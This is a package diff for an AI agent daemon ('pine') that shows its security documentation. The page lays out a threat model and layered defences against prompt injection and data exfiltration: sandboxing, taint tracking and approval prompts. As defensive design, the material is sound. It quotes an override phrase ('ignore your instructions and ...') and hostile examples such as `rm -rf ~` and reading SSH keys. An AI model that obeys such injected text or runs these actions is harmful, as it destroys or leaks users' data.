@pmndrs/pine 0.0.0-stage → 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +180 -2
- package/bin/pine.js +27 -0
- package/docs/SKILL.md +189 -0
- package/docs/references/agents.md +368 -0
- package/docs/references/coding.md +126 -0
- package/docs/references/configuration.md +229 -0
- package/docs/references/events.md +263 -0
- package/docs/references/mcp.md +257 -0
- package/docs/references/operations.md +280 -0
- package/docs/references/overview.md +186 -0
- package/docs/references/security.md +489 -0
- package/docs/references/setup.md +181 -0
- package/docs/references/sources.md +768 -0
- package/docs/references/stack.md +105 -0
- package/docs/references/tui.md +348 -0
- package/examples/home/.env.example +5 -0
- package/examples/home/USER.md +4 -0
- package/examples/home/agents/main/agent.json +4 -0
- package/examples/home/agents/main/workspace/AGENTS.md +14 -0
- package/examples/home/agents/main/workspace/MEMORY.md +4 -0
- package/examples/home/agents/main/workspace/SOUL.md +4 -0
- package/examples/home/models.json +62 -0
- package/examples/home/pine.json +30 -0
- package/examples/home/skills/README.txt +7 -0
- package/examples/launchd/com.pine.daemon.plist +32 -0
- package/mcp/browser.d.ts +34 -0
- package/mcp/browser.js +228 -0
- package/mcp/commands.d.ts +20 -0
- package/mcp/commands.js +88 -0
- package/mcp/lib.d.ts +13 -0
- package/mcp/lib.js +50 -0
- package/mcp/web.d.ts +6 -0
- package/mcp/web.js +140 -0
- package/package.json +32 -4
- package/src/agent-admin.d.ts +24 -0
- package/src/agent-admin.js +55 -0
- package/src/agents.d.ts +343 -0
- package/src/agents.js +1587 -0
- package/src/cli.d.ts +2 -0
- package/src/cli.js +526 -0
- package/src/config.d.ts +351 -0
- package/src/config.js +514 -0
- package/src/dev/claude-model.d.ts +28 -0
- package/src/dev/claude-model.js +174 -0
- package/src/env-file.d.ts +4 -0
- package/src/env-file.js +40 -0
- package/src/http.d.ts +46 -0
- package/src/http.js +407 -0
- package/src/limiter.d.ts +32 -0
- package/src/limiter.js +84 -0
- package/src/login.d.ts +21 -0
- package/src/login.js +126 -0
- package/src/manual.d.ts +61 -0
- package/src/manual.js +425 -0
- package/src/mcp-config.d.ts +40 -0
- package/src/mcp-config.js +132 -0
- package/src/net.d.ts +36 -0
- package/src/net.js +122 -0
- package/src/pine.d.ts +32 -0
- package/src/pine.js +142 -0
- package/src/router.d.ts +56 -0
- package/src/router.js +164 -0
- package/src/sandbox-fs.d.ts +27 -0
- package/src/sandbox-fs.js +172 -0
- package/src/security.d.ts +121 -0
- package/src/security.js +363 -0
- package/src/skills.d.ts +67 -0
- package/src/skills.js +163 -0
- package/src/source-types.d.ts +61 -0
- package/src/source-types.js +1 -0
- package/src/sources/command.d.ts +4 -0
- package/src/sources/command.js +77 -0
- package/src/sources/folder.d.ts +6 -0
- package/src/sources/folder.js +116 -0
- package/src/sources/ftp.d.ts +4 -0
- package/src/sources/ftp.js +307 -0
- package/src/sources/http.d.ts +4 -0
- package/src/sources/http.js +201 -0
- package/src/sources/mqtt.d.ts +18 -0
- package/src/sources/mqtt.js +97 -0
- package/src/sources/telegram.d.ts +22 -0
- package/src/sources/telegram.js +269 -0
- package/src/sources/webhook.d.ts +4 -0
- package/src/sources/webhook.js +52 -0
- package/src/sources.d.ts +339 -0
- package/src/sources.js +955 -0
- package/src/store.d.ts +89 -0
- package/src/store.js +251 -0
- package/src/timers.d.ts +83 -0
- package/src/timers.js +318 -0
- package/src/tools.d.ts +6 -0
- package/src/tools.js +777 -0
- package/src/tui/app.d.ts +209 -0
- package/src/tui/app.js +2223 -0
- package/src/tui/client.d.ts +178 -0
- package/src/tui/client.js +116 -0
- package/src/tui/code-pane.d.ts +51 -0
- package/src/tui/code-pane.js +398 -0
- package/src/tui/highlight.d.ts +8 -0
- package/src/tui/highlight.js +86 -0
- package/src/tui/picture.d.ts +141 -0
- package/src/tui/picture.js +571 -0
- package/src/tui/run.d.ts +8 -0
- package/src/tui/run.js +97 -0
- package/src/tui/theme.d.ts +32 -0
- package/src/tui/theme.js +128 -0
- package/src/types.d.ts +124 -0
- package/src/types.js +1 -0
- package/src/update.d.ts +25 -0
- package/src/update.js +110 -0
- package/src/util.d.ts +32 -0
- package/src/util.js +116 -0
- package/src/watching.d.ts +20 -0
- package/src/watching.js +68 -0
- package/src/workspace-view.d.ts +38 -0
- package/src/workspace-view.js +160 -0
|
@@ -0,0 +1,489 @@
|
|
|
1
|
+
# Security
|
|
2
|
+
|
|
3
|
+
pine runs models that read things strangers wrote and that can run commands. This page says
|
|
4
|
+
what is defended, how, and what is left.
|
|
5
|
+
|
|
6
|
+
## What can go wrong
|
|
7
|
+
|
|
8
|
+
| Threat | Example |
|
|
9
|
+
|---|---|
|
|
10
|
+
| Someone outside drives the daemon | A stranger messages your bot; a web page you have open posts to the control port; someone on the network calls a webhook |
|
|
11
|
+
| Prompt injection | A mail, web page, MQTT message or file name contains "ignore your instructions and ..." and the model follows it |
|
|
12
|
+
| An agent, misled or mistaken, damages the machine | `rm -rf ~`, overwriting another project, reading SSH keys |
|
|
13
|
+
| Information leaves | The agent is talked into sending your files to a URL, a chat or a device |
|
|
14
|
+
| The agent takes over the daemon | It writes an extension or changes its own configuration so that hostile code runs with the daemon's rights on the next start |
|
|
15
|
+
|
|
16
|
+
No model reliably tells instructions from data. pine therefore does not depend on the model
|
|
17
|
+
refusing; it limits what a run can do, by where its input came from.
|
|
18
|
+
|
|
19
|
+
## The layers
|
|
20
|
+
|
|
21
|
+
### 1. Who may speak
|
|
22
|
+
|
|
23
|
+
- **Telegram:** only the account you paired, or the user ids in `allow`, are heard. What anyone
|
|
24
|
+
else writes reaches no agent. Pairing needs both ends: the bot sends a code to the account
|
|
25
|
+
that wrote to it, and that code has to be typed into pine, which names the account. So a
|
|
26
|
+
stranger cannot pair (they do not see your screen), you cannot pair a stranger by a slip of
|
|
27
|
+
the finger (you do not have their code), and an account you deny is not asked about again.
|
|
28
|
+
Once your account is paired, anybody else who writes to the bot gets no answer at all and
|
|
29
|
+
causes no question.
|
|
30
|
+
- **Control API:** loopback by default; every request except `GET /health` and the webhooks
|
|
31
|
+
(which carry their own secret) needs a bearer token (generated into `data/http-token`, mode
|
|
32
|
+
600, which the CLI reads). Control requests carrying an `Origin` or `Sec-Fetch-Site` header
|
|
33
|
+
or an unexpected `Host` are refused, so a web page in your browser cannot use it, with or
|
|
34
|
+
without DNS rebinding. Bodies must be JSON and at most 1 MB (64 MB for a message with attached
|
|
35
|
+
files).
|
|
36
|
+
- **Webhooks:** each hook has a secret (bearer or HMAC of the body) unless you set `"open":
|
|
37
|
+
true`, a rate limit (120 requests a minute), and a fixed topic.
|
|
38
|
+
- **MQTT, watched folders:** you choose the topics and folders. What arrives is treated as
|
|
39
|
+
outside content.
|
|
40
|
+
- **Event sources:** you configure them, or confirm what an agent sets up. One that nobody is
|
|
41
|
+
subscribed to is not running (unless you gave it `"start": "always"`). What they report is outside content unless you mark the source
|
|
42
|
+
as yours; see "Event sources" below.
|
|
43
|
+
|
|
44
|
+
### 2. Where content came from decides what it may do
|
|
45
|
+
|
|
46
|
+
Every event carries `trust`. It is `owner` when the content came through a channel that
|
|
47
|
+
authenticated you (a paired or allow-listed Telegram account, the control API), from a
|
|
48
|
+
schedule (one you wrote, or one an agent made at your wish), from a source you marked
|
|
49
|
+
`"trust": "owner"`, or from an agent's `publish_event` in a conversation that has read no
|
|
50
|
+
outside content. Everything else is `untrusted`.
|
|
51
|
+
|
|
52
|
+
A task started by an untrusted event runs with the agent's `untrusted` profile:
|
|
53
|
+
|
|
54
|
+
- built-in tools `read`, `grep`, `find`, `ls` only; no shell, no writing;
|
|
55
|
+
- no MCP servers, no delegation, no `publish_event`, no state writes, no sub-agents;
|
|
56
|
+
- in its own session (`<name>~u`), so it neither sees your conversation nor leaves text in it.
|
|
57
|
+
|
|
58
|
+
These tools are not hidden from such a run; they are not registered in it. Each item can be
|
|
59
|
+
widened per agent (`"untrusted": { "stateWrite": true }`) or the agent can refuse untrusted
|
|
60
|
+
tasks altogether (`"untrusted": false`). Tasks an untrusted run hands on stay untrusted for
|
|
61
|
+
whoever receives them.
|
|
62
|
+
|
|
63
|
+
A route may declare its events trusted (`"trust": "owner"`). Do that only for a source nobody
|
|
64
|
+
else can write to; `pine check` lists every such route.
|
|
65
|
+
|
|
66
|
+
One case is handled differently: an event of a source that one of your conversations is
|
|
67
|
+
subscribed to is delivered into that conversation, framed as data, and taints it (layer 4)
|
|
68
|
+
instead of starting a reduced run. "Event sources" below says why, and how `"separate": true`
|
|
69
|
+
gets the reduced run back.
|
|
70
|
+
|
|
71
|
+
### 3. The sandbox
|
|
72
|
+
|
|
73
|
+
Every shell command and every file tool call of an agent runs inside a macOS sandbox
|
|
74
|
+
(`sandbox-exec`) whose rules start from "deny everything":
|
|
75
|
+
|
|
76
|
+
| | |
|
|
77
|
+
|---|---|
|
|
78
|
+
| Can read | Its workspace, its private home, its skills, pine's manual (`docs/`), temp, and the system outside your home folder (programs, libraries) |
|
|
79
|
+
| Can write | Its workspace, its private home (`sandbox/<id>/`, which is `$HOME` in its shell), temp. The main agent also `USER.md` in pine's home, and nothing else there |
|
|
80
|
+
| Cannot read or write | Your home folder, pine's home (configuration, `.env`, database, other agents' folders), other agents' workspaces |
|
|
81
|
+
| Cannot | Use the network (unless `sandbox.network` or you granted it to the conversation; the `download` tool is the exception described under Modes), signal or inspect other processes, launch apps, send AppleScript, reach the keychain or the clipboard |
|
|
82
|
+
| Environment | A handful of variables (`PATH`, `LANG`, ...). Nothing from the daemon's environment, no secrets |
|
|
83
|
+
|
|
84
|
+
The file tools (`read`, `write`, `edit`, `grep`, `find`, `ls`) do their I/O through the same
|
|
85
|
+
sandbox rather than in the daemon. That closes the usual gap of "check the path, then open it":
|
|
86
|
+
replacing a file with a symlink after the check gains nothing, because the operating system
|
|
87
|
+
applies the policy at the moment of access.
|
|
88
|
+
|
|
89
|
+
A conversation that you opened a folder for (`pine <folder>`, `/folder`, the folder in the UI's
|
|
90
|
+
bottom bar) can also read and write that folder, and its tools start there. That is the whole
|
|
91
|
+
of it: the folder is that conversation's and the sub-agents it starts, not the agent's other
|
|
92
|
+
conversations', not that of an agent it delegates to, and not that of a run that outside
|
|
93
|
+
content started. Only you can open one; agents have no tool for it. pine's home, pine's own
|
|
94
|
+
program and other agents' workspaces are refused, also as part of a larger folder. The
|
|
95
|
+
folder's `AGENTS.md` and `CLAUDE.md` become instructions to the agent, so open folders whose
|
|
96
|
+
authors you would let instruct it. See [coding.md](coding.md).
|
|
97
|
+
|
|
98
|
+
The code pane of the terminal UI reads through the daemon, not through an agent: it lists and
|
|
99
|
+
shows files of the conversation's folder only, with links resolved, and runs `git` for the
|
|
100
|
+
changes inside a sandbox that cannot write and has no network, with the programs a repository
|
|
101
|
+
can name for git to start (diff drivers, text converters, hooks, a file system monitor)
|
|
102
|
+
switched off. Looking at a folder runs nothing from it.
|
|
103
|
+
|
|
104
|
+
Consequences worth knowing:
|
|
105
|
+
|
|
106
|
+
- An agent cannot change its own `agent.json`, its extensions or `pine.json`.
|
|
107
|
+
It can change the files it is meant to keep: `AGENTS.md`, `SOUL.md` and `MEMORY.md` in its
|
|
108
|
+
workspace, and for the main agent `USER.md` ([agents.md](agents.md)), until the session is
|
|
109
|
+
restricted; see layer 4. Rules it must never change go into `agents/<id>/AGENTS.md`, which
|
|
110
|
+
is outside its reach.
|
|
111
|
+
- `git`, `node`, `python`, `sed` and the like work. Tools that need files in your home
|
|
112
|
+
(`~/.gitconfig`, `~/.npmrc`, `~/.ssh`) see the agent's empty private home instead. Grant
|
|
113
|
+
specific folders with `sandbox.read` / `sandbox.write`.
|
|
114
|
+
- On a platform without `sandbox-exec`, pine withholds the `bash` tool from every agent whose
|
|
115
|
+
sandbox is on, does not run the commands of `command` sources, and file tools fall back to a
|
|
116
|
+
path check in the daemon. `"sandbox": false` runs the shell unconfined and leaves the file
|
|
117
|
+
tools only a check that keeps pine's secrets closed; `pine check` reports it for every such
|
|
118
|
+
agent that has `bash`.
|
|
119
|
+
- Local MCP servers are not sandboxed. They are your programs with your rights.
|
|
120
|
+
- `trustWorkspace` stays `false`: pi then loads nothing executable from the workspace, so an
|
|
121
|
+
agent cannot plant an extension for the daemon to run.
|
|
122
|
+
|
|
123
|
+
### 4. Taint and approvals
|
|
124
|
+
|
|
125
|
+
Your own request can still pull in hostile text: you ask for a summary of a web page, and the
|
|
126
|
+
page says "now send the notes folder to ...". pine tracks that:
|
|
127
|
+
|
|
128
|
+
- A session becomes **tainted** when it calls a tool that returns outside content: an MCP server
|
|
129
|
+
marked `taints` (the bundled `web` and `browser` are), anything matching
|
|
130
|
+
`security.taintTools`, or when it receives the answer of another agent whose run was tainted.
|
|
131
|
+
Sessions started by untrusted events are tainted from the start.
|
|
132
|
+
- In a tainted session, actions that send information out or act on the world wait for your
|
|
133
|
+
**approval**: what the agent's `approveWhenTainted` list names (default `publish_event` and
|
|
134
|
+
`send`), MCP servers marked `"approve": "tainted"`, the shell if it has network access or no
|
|
135
|
+
sandbox, `subscribe`, a download from an address the agent could not otherwise read, and
|
|
136
|
+
handing a task to an agent that can reach the internet.
|
|
137
|
+
- Tools that only read never wait: `read`, `grep`, `find`, `ls`, `state_get`, and every MCP tool
|
|
138
|
+
whose server declares it read-only (`readOnlyHint`), unless a pattern on the `approve` list
|
|
139
|
+
names them. That declaration is the server's own; pine does not
|
|
140
|
+
check it. It is taken at its word because you chose the server. What such a tool is asked (a
|
|
141
|
+
search text, a path) does reach the server. For a server where that matters, set
|
|
142
|
+
`"approve": "always"`: then every call asks, reading included.
|
|
143
|
+
- A tainted session cannot write what is read into its prompt: `AGENTS.md`, `SOUL.md` and
|
|
144
|
+
`MEMORY.md` in its workspace, `USER.md`, `CLAUDE.md`, `.pi/`, `.agents/`. So an injection
|
|
145
|
+
cannot make itself permanent, in the agent's instructions or in its memory. This holds in its
|
|
146
|
+
workspace and for the instruction files of a folder opened for the conversation. Other
|
|
147
|
+
notes in the workspace can still be written; they are not read unless the agent opens them.
|
|
148
|
+
- A tainted session can still use git in a repository there (commit, branch, diff), but cannot
|
|
149
|
+
change what makes git run programs: `.git/hooks` and `.git/config` (a hook, a hooks path, a
|
|
150
|
+
pager, a file system monitor), also of submodules and of repositories further down, and it
|
|
151
|
+
cannot move a `.git` folder aside to put another in its place. Anything put there would run
|
|
152
|
+
with your rights the next time you use git in that folder. A session that has read no outside
|
|
153
|
+
content can change them, like everything else in its folders.
|
|
154
|
+
- Events a tainted session publishes are `untrusted`.
|
|
155
|
+
|
|
156
|
+
An approval request arrives in the terminal UI as a dialog and in Telegram with buttons, showing
|
|
157
|
+
the agent, the tool and its arguments, and why you are asked. `pine approvals`,
|
|
158
|
+
`pine approve <id>` and `pine deny <id>` do the same from a terminal. No answer within
|
|
159
|
+
`security.approvalTimeout` means no. The agent is told the action was not approved and to report
|
|
160
|
+
instead of retrying.
|
|
161
|
+
|
|
162
|
+
There are three answers: allow once, deny, and **always in this conversation** ("Always here" in
|
|
163
|
+
the UI, the "Always: ..." button in Telegram, `pine approve <id> --always`). "Always" covers the
|
|
164
|
+
whole MCP server the tool belongs to, or the one tool if it is not from a server (`bash`, for
|
|
165
|
+
example), until the conversation is reset or the daemon restarts. Three things to know:
|
|
166
|
+
|
|
167
|
+
- It is not offered for what you configured to ask every time (the `approve` list, a server with
|
|
168
|
+
`"approve": "always"`).
|
|
169
|
+
- Network access that you grant to a conversation which has already read outside content counts
|
|
170
|
+
as "always" for its shell and its downloads: you said yes knowing what it had read.
|
|
171
|
+
- A yes given while the conversation was clean does not carry over once it has read outside
|
|
172
|
+
content. You are asked again, and that answer then holds.
|
|
173
|
+
|
|
174
|
+
Taint lasts for the life of the session (`security.taint: "session"`), because the text is still
|
|
175
|
+
in the context. `/reset` in the terminal UI, or `pine reset`, clears it along with the
|
|
176
|
+
conversation.
|
|
177
|
+
`"run"` forgets it after each task, which is more convenient and weaker. `"off"` means no tool
|
|
178
|
+
call marks a conversation at all: what a subscribed source reports then arrives with full tools
|
|
179
|
+
and no questions. Runs that an outside event started stay restricted in every setting.
|
|
180
|
+
|
|
181
|
+
`approve` in `agent.json` lists actions that need approval every time in `manual` and `auto`
|
|
182
|
+
mode, tainted or not (bypass skips them like everything else):
|
|
183
|
+
|
|
184
|
+
```json
|
|
185
|
+
{ "approve": ["bash:*git push*", "send:house", "mcp__calendar__delete_*"] }
|
|
186
|
+
```
|
|
187
|
+
|
|
188
|
+
### Modes: how much an agent does without asking
|
|
189
|
+
|
|
190
|
+
Each agent has a mode. It decides what happens at the two boundaries above: the sandbox and the
|
|
191
|
+
approval prompts.
|
|
192
|
+
|
|
193
|
+
| Mode | Approvals | Sandbox |
|
|
194
|
+
|---|---|---|
|
|
195
|
+
| `manual` | Every action that changes or sends something waits for you, unless you answered "always" for it in this conversation. Reading files and state and read-only MCP tools are free. | As configured |
|
|
196
|
+
| `auto` (default) | Only what the rules single out: the `approve` list, and sending things out or acting on the world from a tainted session. A conversation that has read nothing from outside is never interrupted by the second rule | As configured. For anything beyond it the agent calls `request_access`, and you decide |
|
|
197
|
+
| `bypass` | Nothing waits | Shell and file tools reach your whole account and the network |
|
|
198
|
+
|
|
199
|
+
`request_access` is how an agent in `auto` or `manual` mode gets at something outside its
|
|
200
|
+
workspace: it names a path (read, or read and write) or asks for network access from its shell,
|
|
201
|
+
with a reason. You see the request like any approval. If you allow it, the access holds for that
|
|
202
|
+
conversation until you reset it or the daemon restarts. Refusals tell the agent to ask this way
|
|
203
|
+
instead of probing.
|
|
204
|
+
|
|
205
|
+
**Sub-agents share their conversation's permissions.** A sub-agent is a copy of the agent doing
|
|
206
|
+
part of the conversation's job, so it works under what you allowed there: the access you
|
|
207
|
+
granted, and your "always" answers. It works the other way too: what a sub-agent asks for and
|
|
208
|
+
gets holds for the conversation and its other sub-agents, so you are asked once, not once per
|
|
209
|
+
copy. Nothing is widened by this: a sub-agent inherits the conversation's outside-content mark
|
|
210
|
+
as well, and another conversation of the same agent, or a run started by an outside event, has
|
|
211
|
+
none of it. An agent that a task is *delegated* to is a different agent with its own sandbox and
|
|
212
|
+
its own permissions.
|
|
213
|
+
|
|
214
|
+
**Downloads.** The shell has no network in `auto` and `manual` mode, but getting a file from a
|
|
215
|
+
server you connected is routine, so there is a `download` tool for it. It fetches an address into
|
|
216
|
+
the workspace, byte for byte, and reports size and SHA-256.
|
|
217
|
+
|
|
218
|
+
- An address on the origin of one of the agent's remote MCP servers (same scheme, host and port
|
|
219
|
+
as the server's `url`) is fetched without a question. A redirect that leads elsewhere is not
|
|
220
|
+
followed under this rule.
|
|
221
|
+
- An agent with the bundled `web` or `browser` server can already read any public address
|
|
222
|
+
without asking, so it may also save what is there: any public https address is fetched without
|
|
223
|
+
a question, also in a session that has read outside content. The `allowHosts` and `denyHosts`
|
|
224
|
+
of the `web` server apply while the conversation has no network access of its own; its
|
|
225
|
+
`allowPrivate` applies too, and then addresses on your network and plain http are fetched.
|
|
226
|
+
The session is marked as having read outside content.
|
|
227
|
+
- Without web access, any other address needs network access for the conversation
|
|
228
|
+
(`sandbox.network`, a grant from `request_access`, or bypass). Without it the download is
|
|
229
|
+
refused and you are not asked. With it, only https and only public addresses are fetched, and
|
|
230
|
+
in a session that has read outside content the download asks first.
|
|
231
|
+
- The daemon does the fetching; the file is put in place through the agent's sandbox, so the
|
|
232
|
+
operating system decides where it may land, as with the write tool. `limits.maxDownloadMb`
|
|
233
|
+
(default 200) caps the size. Runs with the reduced tool set (layer 2) do not have the tool.
|
|
234
|
+
|
|
235
|
+
**Pictures in the terminal UI.** Showing pictures adds four read paths to the control API (see
|
|
236
|
+
[operations.md](operations.md)); all need the API token like everything else there.
|
|
237
|
+
|
|
238
|
+
- The path of a workspace picture comes from model output, so that endpoint serves only regular
|
|
239
|
+
image and video files (checked by content, not by name) that really lie inside the agent's
|
|
240
|
+
workspace or the folder opened for that conversation.
|
|
241
|
+
It cannot be used to read other files, also not through a link.
|
|
242
|
+
- A picture at a web address is fetched only when you click it, never because an answer
|
|
243
|
+
contains it. Otherwise `` in an answer would send data
|
|
244
|
+
out the moment it is displayed.
|
|
245
|
+
- Picture files are decoded by macOS's `sips` and videos by `ffmpeg`, both started without
|
|
246
|
+
network access and without write access outside the temp folder, because the bytes can come
|
|
247
|
+
from anywhere. "Open in player" hands the file to the system's player, which has no such
|
|
248
|
+
limits; it only happens on your click.
|
|
249
|
+
- Pictures a tool returned are kept in `data/media/tool` (mode 600) for as long as the event
|
|
250
|
+
log reaches back (`limits.eventRetentionDays`).
|
|
251
|
+
|
|
252
|
+
**Event sources.** A source ([sources.md](sources.md)) brings in content from outside by
|
|
253
|
+
design, and a subscription lets that content start an agent turn without you. What keeps this
|
|
254
|
+
safe:
|
|
255
|
+
|
|
256
|
+
- Events of a source are outside content unless you mark the source `"trust": "owner"`. By
|
|
257
|
+
default an event is delivered into the conversation the agent subscribed in, framed as data,
|
|
258
|
+
and that conversation is then tainted (layer 4): sending things out and acting on the world
|
|
259
|
+
ask you first, bypass is paused. The agent does keep its tools there, as it does after
|
|
260
|
+
reading a web page; with `"separate": true` on the subscription the event instead starts a
|
|
261
|
+
run with the reduced tool set in a session of its own (layer 2), which is the stronger
|
|
262
|
+
protection for sources that carry strangers' text.
|
|
263
|
+
- An agent can set up a source itself (`add_source`), but only in a conversation with you, and
|
|
264
|
+
you confirm everything that opens something new: a folder outside its workspace (which it may
|
|
265
|
+
then also read), a connection, a port, a source for all agents, a source to be trusted as
|
|
266
|
+
yours. Only a folder in its own workspace goes through without a question, and
|
|
267
|
+
not in a conversation that has read outside content or in manual mode. A secret that pine
|
|
268
|
+
makes (a webhook's secret, an FTP drop's password) is not shown to the model: the agent is
|
|
269
|
+
told the name of its `.env` entry. A password you tell the agent passes through the tool call
|
|
270
|
+
once. Either way the value is stored in `.env`, never in `pine.json` or an `agent.json`, and
|
|
271
|
+
is kept out of events and logs.
|
|
272
|
+
- Subscribing is something only you, or an agent in a conversation with you, can do. A run
|
|
273
|
+
with the reduced tool set (started by an untrusted event through a route, or by a
|
|
274
|
+
subscription with `"separate": true`) has no `subscribe` tool. In a conversation that has
|
|
275
|
+
read outside content, which includes one that an event of a subscribed source arrived in,
|
|
276
|
+
the tool asks you first: otherwise a web page or a file name could make an agent start
|
|
277
|
+
listening to something.
|
|
278
|
+
- A source that nobody subscribed to is not running: no open port, no connection (unless you
|
|
279
|
+
marked it `"start": "always"`).
|
|
280
|
+
- The `ftp` type only receives, needs a password, writes under names of its own choosing into
|
|
281
|
+
its own folder, and can be limited to client addresses. The `webhook` type needs a secret
|
|
282
|
+
unless it is set up with `"open": true`, which the dialog spells out.
|
|
283
|
+
- A subscription has a throttle (10 s unless you change it), so a device that reports every
|
|
284
|
+
second cannot keep a model busy.
|
|
285
|
+
|
|
286
|
+
What no mode opens:
|
|
287
|
+
|
|
288
|
+
- pine's home: configuration, `.env`, credentials, the database, other agents' folders.
|
|
289
|
+
Agents never write there. What they may set up goes through tools that check what they are
|
|
290
|
+
given and write only that ([setup.md](setup.md)): a remote MCP server (`add_mcp_server`, which
|
|
291
|
+
asks you in every mode with the name and URL), event sources and subscriptions, and, for the
|
|
292
|
+
main agent alone, a new agent (`create_agent`, which always asks you and shows its
|
|
293
|
+
instructions). Only the main agent can set anything up for all agents. Runs with the reduced
|
|
294
|
+
tool set (layer 2) have none of these tools, and a proposal from a conversation that has read
|
|
295
|
+
outside content says so in the dialog, because a web page asking for "this handy server" is
|
|
296
|
+
the obvious trick.
|
|
297
|
+
- pine's own program files, for writing.
|
|
298
|
+
- Runs started by untrusted events. They keep the `untrusted` profile and cannot ask for more.
|
|
299
|
+
They run as `auto` whatever the agent's mode: neither `manual` nor `bypass` applies to them.
|
|
300
|
+
|
|
301
|
+
And by default `bypass` is suspended in a session that has read outside content: from then on
|
|
302
|
+
that session behaves like `auto` until you reset it. A web page is exactly the moment someone
|
|
303
|
+
else may be steering the agent, and bypass plus a hostile page is your whole account. The pause
|
|
304
|
+
is never silent: the terminal UI prints a note, shows "bypass (paused)", and the agent itself
|
|
305
|
+
is told and will say so when you ask why something is still refused.
|
|
306
|
+
|
|
307
|
+
Two ways to have bypass regardless:
|
|
308
|
+
|
|
309
|
+
- For one conversation, as a decision made with the facts in front of you: choose bypass in a
|
|
310
|
+
conversation that is already tainted and the UI asks whether you want a clean conversation
|
|
311
|
+
(recommended) or bypass in this one anyway. "Anyway" holds for that conversation until it is
|
|
312
|
+
reset or the mode changes.
|
|
313
|
+
- Always: `"security": { "bypassWhenTainted": true }`. `pine check` says what that means for
|
|
314
|
+
each agent whose configured mode is `bypass`.
|
|
315
|
+
|
|
316
|
+
With either, the guards on instruction files and git settings (layer 4) no longer hold in that
|
|
317
|
+
conversation: they are part of the sandbox that bypass lifts.
|
|
318
|
+
|
|
319
|
+
Set the mode where it should last, or switch it while running:
|
|
320
|
+
|
|
321
|
+
```json
|
|
322
|
+
{ "mode": "manual" }
|
|
323
|
+
```
|
|
324
|
+
|
|
325
|
+
in `agent.json` (or `defaults.mode` in `pine.json` for all agents); `/mode` or `shift+tab` in the
|
|
326
|
+
terminal UI; `pine mode <agent> <mode>` from a shell. A switch made while running lasts until the
|
|
327
|
+
daemon restarts.
|
|
328
|
+
|
|
329
|
+
### 5. Sources that go and look
|
|
330
|
+
|
|
331
|
+
- **A web address (`http`)** is fetched by pine itself, so the address is yours to confirm: the
|
|
332
|
+
dialog names it and says when it is on your own network, a redirect is followed only on the
|
|
333
|
+
same host, and a token is sent nowhere else. An address that was confirmed as a public one is
|
|
334
|
+
not followed into your network if its name later leads there. What the address answers is
|
|
335
|
+
outside content like any page an agent reads.
|
|
336
|
+
- **A command (`command`)** runs in the sandbox of the agent the source belongs to (the main
|
|
337
|
+
agent's, for a source of all agents), like a command in that agent's own shell: no more
|
|
338
|
+
files, no more network, not your environment, and instruction files read-only. It cannot read
|
|
339
|
+
pine's secrets or write its configuration. You see the command line before it is set up, in
|
|
340
|
+
every mode. What it prints is outside content unless you say the source is yours. If that
|
|
341
|
+
agent has `"sandbox": false`, the command runs unconfined, as its shell does; on a platform
|
|
342
|
+
without `sandbox-exec` it is not run at all.
|
|
343
|
+
- **Status lines** (when a source last looked, what it found) are read by agents without the
|
|
344
|
+
mark that outside content gets. A source therefore repeats a found value there only when it
|
|
345
|
+
is a number or a single word.
|
|
346
|
+
|
|
347
|
+
### 6. A new kind of source is a program
|
|
348
|
+
|
|
349
|
+
A source type runs inside pine with pine's rights; no sandbox applies to it. It gets in by your
|
|
350
|
+
hand (`sourceTypes` in `pine.json`, or `"use"` on a single source's entry) or through the main
|
|
351
|
+
agent's `add_source_type`, and then only
|
|
352
|
+
|
|
353
|
+
- from the main agent, in a conversation with you,
|
|
354
|
+
- never from a conversation that has read outside content: there the tool refuses without
|
|
355
|
+
asking you,
|
|
356
|
+
- with your yes in a dialog that says it is a program, how long it is, what it imports and
|
|
357
|
+
where the file is, in every mode and every time,
|
|
358
|
+
- as a copy pine takes at that moment into its own home, which agents cannot write. What you
|
|
359
|
+
confirmed is what runs.
|
|
360
|
+
|
|
361
|
+
Read the file before you confirm. Nothing else stands between that module and your account.
|
|
362
|
+
`pine check` lists every registered source type, and every source that names a module with
|
|
363
|
+
`"use"`, with the file it runs.
|
|
364
|
+
|
|
365
|
+
### 7. Schedules act in your name
|
|
366
|
+
|
|
367
|
+
What a schedule starts counts as your wish: the agent is woken with its usual tools, and
|
|
368
|
+
nothing is marked as outside content. So a schedule must really be your wish:
|
|
369
|
+
|
|
370
|
+
- An agent schedules for the conversation it is in, or for itself from its main conversation,
|
|
371
|
+
without a question (except in manual mode). For itself from a side conversation, or for all
|
|
372
|
+
agents (the main agent only), you are asked.
|
|
373
|
+
- In a conversation that has read outside content you are asked in every case, in every mode,
|
|
374
|
+
and you see the task: a sentence on a web page must not turn into something done every hour.
|
|
375
|
+
- An interval an agent sets is at least a minute.
|
|
376
|
+
- A schedule is an entry in pine's configuration, which agents cannot write. `pine schedules`
|
|
377
|
+
shows all of them with their tasks; an agent's `schedules` tool shows its own and those for
|
|
378
|
+
all agents.
|
|
379
|
+
|
|
380
|
+
### 8. Skills are instructions
|
|
381
|
+
|
|
382
|
+
A skill is read into an agent's prompt (its name and description) and followed when a task
|
|
383
|
+
calls for it, so it is guarded like the instruction files:
|
|
384
|
+
|
|
385
|
+
- Skills lie in pine's home, where an agent can read its own and write none. `add_skill`
|
|
386
|
+
writes them; an agent's shell and file tools cannot.
|
|
387
|
+
- `add_skill` refuses in a conversation that has read outside content, in every mode, without
|
|
388
|
+
asking you: text from a web page must not become a standing instruction.
|
|
389
|
+
- A skill for all agents is the main agent's to add, and you see its description and
|
|
390
|
+
instructions before it exists. So does one an agent adds for itself from a side conversation.
|
|
391
|
+
In manual mode you see every skill before it exists.
|
|
392
|
+
- Scripts that go along with a skill run like anything else the agent runs: in its sandbox.
|
|
393
|
+
- Files are copied as files. A link in the folder that is to go along is refused, so a skill
|
|
394
|
+
cannot be made to carry a file from outside the workspace.
|
|
395
|
+
|
|
396
|
+
### 9. Outputs check for themselves
|
|
397
|
+
|
|
398
|
+
Whatever asks, the Telegram source sends only to your own chat, and the MQTT source publishes
|
|
399
|
+
only to topics on its `publish` list. In a conversation that has read outside content, the
|
|
400
|
+
`send` tool asks you first. An agent's `publish` list names the topics it
|
|
401
|
+
may use at all. Agents cannot publish on pine's own topics (`agent/`, `approval/`, `pine/`,
|
|
402
|
+
`state/`, `timer/`).
|
|
403
|
+
|
|
404
|
+
### 10. Secrets
|
|
405
|
+
|
|
406
|
+
